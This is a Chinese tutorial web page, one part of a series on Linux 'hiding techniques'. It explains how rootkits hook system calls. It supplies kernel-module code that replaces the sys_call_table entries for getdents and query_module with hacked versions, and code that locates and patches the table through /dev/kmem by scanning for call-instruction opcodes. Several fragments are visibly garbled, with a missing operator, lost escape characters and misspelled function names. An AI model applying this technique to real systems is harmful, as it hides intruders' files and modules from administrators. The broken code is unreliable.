歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
Linux教程網 >> Linux基礎 >> Linux教程 >> Linux操作系統下的高級隱藏技術詳解(6)

Linux操作系統下的高級隱藏技術詳解(6)

日期:2017/2/25 10:36:46   编辑:Linux教程

Linux操作系統下的高級隱藏技術詳解(6)

2.4 修改系統調用的方法

  現在已經解決了如何修改系統調用來達到隱藏的目的,那麼如何用修改後的系統調用來替換原來的呢?這個問題在實際應用中往往是最關鍵的,下面將討論在不同的情況下如何做到這一點。

  (1)當系統導出sys_call_table,並且支持動態的插入模塊的情況下:

  在Linux內核2.4.18版以前,這種內核配置是非常普遍的。這種情況下修改系統調用非常容易,只需要修改相應的sys_call_table表項,使其指向新的系統調用即可。下面是相應的代碼:

  int orig_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)

  int init_module(void)  /*初始化模塊*/

  {

  orig_getdents=sys_call_table[SYS_getdents];  //保存原來的系統調用

  orig_query_module=sys_call_table[SYS_query_module]

  sys_call_table[SYS_getdents]=hacked_getdents;  //設置新的系統調用

  sys_call_table[SYS_query_module]=hacked_query_module;

  return 0; //返回0表示成功

  }

  void cleanup_module(void)

  /*卸載模塊*/

  {

  sys_call_table[SYS_getdents]=orig_getdents;  //恢復原來的系統調用

  sys_call_table[SYS_query_module]=orig_query_module;

  }

  (2)在系統並不導出sys_call_table的情況下:

  linux內核在2.4.18以後為了安全起見不再導出sys_call_table符號,從而無法直接獲得系統調用表的地址,那麼就必須找到其他的辦法來得到這個地址。在背景知識中提到了/dev/kmem是系統主存的映像,可以通過查詢該文件來找到sys_call_table的地址,並對其進行修改,來使用新的系統調用。那麼如何在系統映像中找到sys_call_table的地址呢?讓我們先看看system_call的源代碼是如何來實現系統調用的(代碼見 /arch/i386/kernel/entry.S):

  ENTRY(system_call)

  pushl %eax   # save orig_eax

  SAVE_ALL

  GET_CURRENT(%ebx)

  cmpl $(NR_syscalls),%eax

  jae badsys

  testb $0x02,tsk_ptrace(%ebx)  # PT_TRACESYS

  jne tracesys

  call *SYMBOL_NAME(sys_call_table)(,%eax,4)

  movl %eax,EAX(%esp)  # save the return value

  ENTRY(ret_from_sys_call)

  這段源代碼首先保存相應的寄存器的值,然後判斷系統調用號(在eax寄存器中)是否合法,繼而對設置調試的情況進行處理,在所有這些進行完後,利用 call *SYMBOL_NAME(sys_call_table)(,%eax,4) 來轉入相應的系統調用進行處理,其中的SYMBOL_NAME(sys_call_table)得出的就是sys_call_table的地址。從上面的分析可以看出,當找到system_call函數之後,利用字符匹配來尋找相應call語句就可以確定sys_call_table的位置,因為call something(,%eax,4)的機器指令碼是0xff 0x14 0x85。所以匹配這個指令碼就行了。至於如何確定system_call的地址在背景知識中已經介紹了,下面給出相應的偽代碼:

  struct{ //各字段含義可以參考背景知識中關於IDTR寄存器的介紹

  unsigned short limit;

  unsigned int base;

  }__attribute__((packed))idtr;

  struct{ //各字段含義可以參考背景知識中關於中斷描述符的介紹

  unsigned short off1;

  unsigned short sel;

  unsigned char none,flags;

  unsigned short off2;

  }__attribute__((packed))idt;

  int kmem;

  / *下面函數用於從kemem對應的文件中偏移量為off處讀取sz個字節至內存m處*/

  void readkmem(void *m,unsigned off,int sz) {………}

  /*下面函數用於從src讀取count個字節至dest處*/

  void weitekmem(void *src,void *dest,unsigned int count) {………..}

  unsigned sct;  //用來存放sys_call_table地址

  char buff[100]; //用於存放system_call函數的前100個字節。

  char *p;

  if((kmem=open(“/dev/kmem”,O_RDONLY))<0)

  return 1;

  asm(“sidt %0” “:=m” (idtr));    //讀取idtr寄存器的值至idtr結構中

  readkmem(&idt,idtr.base+8*0x80,sizeof(idt))  //將0x80描述符讀至idt結構中

  sys_ call_off=(idt.off2<<16) idt.off1;    //得到system_call函數的地址。

  readkmem(buff,sys_call_off,100)  //讀取system_call函數的前100字節至buff

  p=(char *)memmem(buff,100,”xffx14x85”,3);  //得到call語句對應機器碼的地址

  sct=(unsigned *)(p+3)    //得到sys_call_table的地址。

  至此已經得到了sys_call_table在內存中的位置,這樣在根據系統調用號就能夠找到相應的系統調用對應的地址,修改該地址就可以使用新的系統調函數,具體的做法如下:

  readkmem(&orig_getdents,sct+ SYS_getdents*4,4)//保存原來的系統調用

  readkmem(&orig_query_module,sct+SYS_query_module*4,4);

  writekmem(hacked_getdents,sct+SYS_getdents*4,4);//設置新的系統調用

  writekmem(hacket_query_module,sct+SYS_query_module*4,4);

Copyright © Linux教程網 All Rights Reserved